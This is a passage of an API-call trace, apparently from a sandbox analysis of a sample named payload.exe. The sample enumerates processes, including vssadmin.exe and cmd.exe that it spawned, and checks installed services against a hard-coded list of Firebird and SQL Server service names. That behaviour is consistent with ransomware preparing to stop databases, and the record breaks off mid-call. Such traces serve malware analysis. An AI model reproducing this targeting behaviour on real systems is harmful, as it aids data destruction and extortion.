szExeFile="explorer.exe")) returned 1 [0138.935] lstrlenW (lpString="explorer.exe") returned 12 [0138.935] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0138.936] lstrlenW (lpString="SearchUI.exe") returned 12 [0138.936] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0138.937] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0138.938] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0138.938] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0138.938] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0138.939] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0138.939] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0138.940] lstrlenW (lpString="payload.exe") returned 11 [0138.940] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0138.940] lstrlenW (lpString="cmd.exe") returned 7 [0138.940] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0138.941] lstrlenW (lpString="conhost.exe") returned 11 [0138.941] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0138.942] lstrlenW (lpString="vssadmin.exe") returned 12 [0138.942] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0138.943] lstrlenW (lpString="consent.exe") returned 11 [0138.943] Process32NextW (in: hSnapshot=0x508, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0138.944] CloseHandle (hObject=0x508) returned 1 [0138.944] Sleep (dwMilliseconds=0x1f4) [0139.600] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443e008 [0139.602] EnumServicesStatusExW (in: hSCManager=0x443e008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0139.602] GetLastError () returned 0xea [0139.602] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x448dfd8 [0139.602] EnumServicesStatusExW (in: hSCManager=0x443e008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x448dfd8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x448dfd8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0139.603] CloseServiceHandle (hSCObject=0x443e008) returned 1 [0139.603] lstrlenW (lpString="Appinfo") returned 7 [0139.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0139.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0139.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0139.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0139.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0139.604] lstrlenW (lpString="AppXSvc") returned 7 [0139.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0139.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0139.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0139.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0139.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0139.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0139.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0139.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0139.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0139.604] lstrlenW (lpString="Audiosrv") returned 8 [0139.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0139.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0139.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0139.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0139.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0139.604] lstrlenW (lpString="BFE") returned 3 [0139.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0139.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0139.604] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0139.604] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0139.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0139.604] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0139.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0139.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0139.604] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0139.604] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0139.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0139.605] lstrlenW (lpString="CDPSvc") returned 6 [0139.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0139.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0139.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0139.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0139.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0139.605] lstrlenW (lpString="ClickToRunSvc") returned 13 [0139.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0139.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0139.605] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0139.605] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0139.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0139.605] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0139.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0139.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0139.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0139.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0139.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0139.605] lstrlenW (lpString="CryptSvc") returned 8 [0139.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0139.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0139.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0139.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0139.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0139.605] lstrlenW (lpString="DcomLaunch") returned 10 [0139.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0139.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0139.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0139.606] lstrlenW (lpString="DeviceAssociationService") returned 24 [0139.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0139.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0139.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0139.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0139.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0139.606] lstrlenW (lpString="Dhcp") returned 4 [0139.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0139.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0139.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0139.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0139.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0139.606] lstrlenW (lpString="Dnscache") returned 8 [0139.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0139.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0139.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0139.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0139.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0139.606] lstrlenW (lpString="DPS") returned 3 [0139.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0139.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0139.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0139.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0139.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0139.606] lstrlenW (lpString="DusmSvc") returned 7 [0139.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0139.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0139.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0139.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0139.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0139.607] lstrlenW (lpString="EventLog") returned 8 [0139.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0139.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0139.607] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0139.607] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0139.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0139.607] lstrlenW (lpString="EventSystem") returned 11 [0139.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0139.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0139.607] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0139.607] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0139.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0139.607] lstrlenW (lpString="FontCache") returned 9 [0139.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0139.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0139.607] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0139.607] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0139.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0139.607] lstrlenW (lpString="gpsvc") returned 5 [0139.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0139.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0139.607] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0139.607] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0139.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0139.607] lstrlenW (lpString="iphlpsvc") returned 8 [0139.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0139.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0139.607] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0139.607] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0139.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0139.607] lstrlenW (lpString="KeyIso") returned 6 [0139.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0139.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0139.608] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0139.608] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0139.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0139.608] lstrlenW (lpString="LanmanServer") returned 12 [0139.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0139.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0139.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0139.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0139.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0139.608] lstrlenW (lpString="LanmanWorkstation") returned 17 [0139.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0139.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0139.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0139.608] lstrlenW (lpString="lfsvc") returned 5 [0139.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0139.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0139.608] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0139.608] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0139.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0139.608] lstrlenW (lpString="lmhosts") returned 7 [0139.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0139.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0139.608] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0139.608] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0139.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0139.608] lstrlenW (lpString="LSM") returned 3 [0139.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0139.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0139.609] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0139.609] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0139.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0139.609] lstrlenW (lpString="MpsSvc") returned 6 [0139.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0139.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0139.609] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0139.609] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0139.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0139.609] lstrlenW (lpString="NcbService") returned 10 [0139.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0139.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0139.609] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0139.609] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0139.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0139.609] lstrlenW (lpString="netprofm") returned 8 [0139.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0139.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0139.609] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0139.609] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0139.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0139.609] lstrlenW (lpString="NgcSvc") returned 6 [0139.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0139.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0139.609] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0139.609] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0139.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0139.747] lstrlenW (lpString="NlaSvc") returned 6 [0139.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0139.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0139.747] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0139.747] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0139.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0139.747] lstrlenW (lpString="nsi") returned 3 [0139.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0139.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0139.747] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0139.747] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0139.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0139.747] lstrlenW (lpString="PcaSvc") returned 6 [0139.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0139.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0139.747] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0139.747] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0139.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0139.747] lstrlenW (lpString="PlugPlay") returned 8 [0139.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0139.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0139.747] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0139.747] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0139.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0139.747] lstrlenW (lpString="Power") returned 5 [0139.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0139.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0139.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0139.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0139.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0139.748] lstrlenW (lpString="ProfSvc") returned 7 [0139.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0139.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0139.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0139.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0139.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0139.748] lstrlenW (lpString="RpcEptMapper") returned 12 [0139.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.748] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0139.748] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0139.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0139.748] lstrlenW (lpString="RpcSs") returned 5 [0139.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0139.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0139.748] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0139.748] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0139.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0139.748] lstrlenW (lpString="SamSs") returned 5 [0139.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0139.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0139.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0139.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0139.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0139.748] lstrlenW (lpString="Schedule") returned 8 [0139.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0139.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0139.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0139.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0139.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0139.749] lstrlenW (lpString="SecurityHealthService") returned 21 [0139.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0139.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0139.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0139.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0139.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0139.749] lstrlenW (lpString="SENS") returned 4 [0139.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0139.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0139.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0139.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0139.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0139.749] lstrlenW (lpString="ShellHWDetection") returned 16 [0139.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.749] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0139.749] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0139.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0139.749] lstrlenW (lpString="Spooler") returned 7 [0139.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0139.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0139.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0139.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0139.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0139.749] lstrlenW (lpString="StateRepository") returned 15 [0139.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0139.749] lstrcmpiW 